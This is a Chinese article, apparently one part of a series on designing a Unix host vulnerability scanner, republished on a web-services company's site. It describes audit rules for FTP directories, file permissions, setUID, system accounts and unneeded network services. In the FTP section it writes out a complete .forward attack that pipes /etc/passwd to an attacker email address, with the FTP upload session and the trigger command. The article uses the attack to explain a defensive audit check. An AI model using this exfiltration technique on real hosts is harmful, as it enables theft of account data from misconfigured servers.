Unix主机漏洞扫描器的设计与实现(3)

Unix主机漏洞扫描器的设计与实现之审核文件和目录权限规则

网站建设哪家好,找创新互联建站!专注于网页设计、网站建设、微信开发、小程序定制开发、集团企业网站建设等服务项目。为回馈新老客户创新互联还提供了大祥免费建站欢迎大家使用!

(1)FTP的根目录

FTP的根目录不同于主机系统的根目录,所以FTP下看到的/etc/passwd和系统的/etc/passwd不是一个文件,但有些不称职的系统管理员在创建FTP目录结构时会把系统的/etc/passwd文件直接拷贝过来,这就会给黑客以可乘之机。

FTP的根目录是在系统的/etc/passwd文件中指定的,也就是用匿名FTP登录到主机后的起始目录。

例如:事先编写forward_sucker_file shell脚本,内容为:

 
 
 
  1. sun% cat forward_sucker_file  
  2.  
  3. "| /bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail me@my.e-mail.addr"  
  4. 通过FTP将forward_sucker_file脚本传送到目标主机(如ngcc.com)  
  5.  
  6. sun% ftp ngcc.com  
  7.  
  8. Connected to ngcc.com  
  9.  
  10. 220 victim FTP server ready.  
  11.  
  12. Name (ngcc.com:zy): ftp  
  13.  
  14. 331 Guest login ok, send ident as password.  
  15.  
  16. Password: [输入电子邮件地址]  
  17.  
  18. 230 Guest login ok, access restrictions apply.  
  19.  
  20. ftp> put forward_sucker_file .forward  
  21.  
  22. 43 bytes sent in 0.0015 seconds (28 Kbytes/s)  
  23.  
  24. ftp> quit 

 

将passwd文件内容发送到黑客邮件地址:

sun% echo test | mail ftp@ngcc.com

如果匿名FTP主目录可写,可以在其下投放一个".forward"文件;文件内容是一行用双引号引起来的Shell命令;".forward"文件是用于邮件转发的:如果某一用户(此处为ftp)的主目录下有这个文件,那么当该用户收到邮件时,就要视".forward"的内容进行转发。如果".forward"的内容为一些电子邮件地址,该邮件就被转发到这些地址;而如果为一行用双引号引起来的Shell命令,则该邮件的内容被重定向到此命令。此处,命令为:"| /bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail me@my.e-mail.addr",实际上对重定向过来的作为输入的邮件内容没有做任何处理,而是把/etc/passwd(为了防止被安全机制过滤,先在每一行行首增加一个空格)发到了攻击者的电子邮件地址(me@my.e-mail.addr)。因此,在投放了这样一个".forward"文件后,再随便发一封电子邮件给victim.com上的FTP用户,通过"转发"功能,ngcc.com上的/etc/passwd文件就寄到攻击者的电子邮件地址上。

(2)其他文件和目录

确保没有其他文件和目录被FTP用户或所在的组拥有所有权(ownered by ftp account and ftp group);否则,黑客可能借助特洛伊木马程序对合法文件进行替代,构成漏洞隐患。

除了~/ftp/incoming目录外,匿名(anonymous)FTP 用户在其他目录下不能创建任何文件和子目录。

文件和目录权限修改要慎重:对于系统或CERT组织推荐的有关特定文件的读写权限,如/var/adm/utmpx和/var/adm/wtmpx文件权限应该为644,不要轻易修改。一般情况下,拥有对任何文件和目录具有写权限的用户只能是超级用户,进一步说,如果一个文件或目录可写,则可写者只能为超级用户。

(3)setUID和setGID问题

setUID的作用是允许程序以一个特定用户的身份去运行,而不管到底是谁在运行它。就是说,setUID允许程序将其用户ID改变为另一个用户的ID。SetGID功能同setUID,区别是将一个正在运行的程序的组帐号改变为一个特定的组帐号。setUID和setGID只使用于可执行文件,二者对某些特定的程序才可以访问特定信息的情形是很有价值的。如普通用户在运行passwd命令时,由于该命令setUID为root,则可以获得修改只有root才有相应权限的/etc/shadow文件,从而改变自己的口令。

但是,setUID和setGID容易被黑客利用来制造缓冲区溢出,从而永久获得root权限。据CERT指出,利用setUID制造缓冲区溢出是黑客获得root权限的主要方法之一。因此,系统管理员不能随意赋予可执行文件setUID和setGID特性。

Unix主机漏洞扫描器的设计与实现之审核用户帐户的安全性规则

Solaris和Irix等Unix系统中,除去超级用户外,还存在如lp、sys、adm、nobody等管理帐户。虽然它们没有超级用户的特权,但同样应受到保护,因为这些帐户的系统进程可以控制基本的系统功能,如电子邮件、关系数据库访问、打印等。这些管理帐户内的任何一个遭到攻击,都可能导致相应子系统中的文件被大规模地暴露和损坏。例如,lp帐户所受的破坏可能会造成攻击者对打印子系统获得完全控制,从而使黑客能够任意地修改打印输出的内容。

从管理帐户在Web服务器运作中的职责和作用看,大部分应该予以封闭。比如lp,Web服务器上是没有必要也不允许打印文件的。由于这些管理帐户是Unix系统预装的,系统管理员常予以保留。但这些管理帐户可能被黑客利用,且它们对Web服务器用处不大。所以,一些管理帐户,包括daemon、sys、lp、adm、uucp、nuucp、listen,应该封闭。

此外,超级用户的PATH(在cshell中存在于.cshrc文件,在kshell中存在于.profile文件)或LD_LIBRARY_PATH变量中,不应该存在"."或"~"字符,因为黑客可能利用这一点来植入特洛伊木马程序。

审核用户帐户的安全性规则涉及到/etc/passwd和/etc/shadow两个核心文件。一方面,系统管理员要保证其内容完整性,禁止非法修改,或者及时发现非法修改并予以修正;另一方面,禁止无口令或弱势口令的存在。所谓弱势口令指易于猜测、破解或长期不变更的口令。实践表明,主机安全的核心问题是超级用户的口令安全问题。超级用户的口令被泄露或被成功破解,等于拱手将服务器系统的所有管理权让于黑客,黑客可以轻易获得主机内的所有数据。

Unix主机漏洞扫描器的设计与实现之禁止不必要的网络访问服务规则

所谓不必要的网络访问服务是指实现主机系统网络服务功能所不需要运行的服务。对于Web主机而言,很多网络访问服务在操作系统安装时就被缺省配置,其所对应的TCP/UDP端口也对外打开,如非常危险的finger服务和它对应的79号TCP端口。

通过对网站的端口扫描,可以发现很多系统管理员对外提供了或多或少的不必要的网络访问服务。而从系统内部审核不必要网络访问服务的方法是禁止不必要的网络访问服务的最有效手段之一。需要补充的是,另外一些需要禁止的服务为:sendmail、NFS服务器和客户机、automounter和rexd等。

由于sendmail是著名的漏洞程序,很多机构购置了Netscape Messaging Server等其他mail服务软件加以替代;rexd服务基本无安全可言,远程用户可以象在本地一样畅通无阻地运行本地主机的程序。因此rexd处于被禁之列。

【编辑推荐】

  1. Unix主机漏洞扫描器的设计与实现(1)
  2. Unix主机漏洞扫描器的设计与实现(2)
  3. Unix主机漏洞扫描器的设计与实现之背景和必然性分析
  4. Unix主机漏洞扫描器的设计与实现之系统安全性分析及技术概述

当前题目:Unix主机漏洞扫描器的设计与实现(3)
分享网址:http://www.shufengxianlan.com/qtweb/news42/44292.html

网站建设、网络推广公司-创新互联,是专注品牌与效果的网站制作,网络营销seo公司;服务项目有等

广告

声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联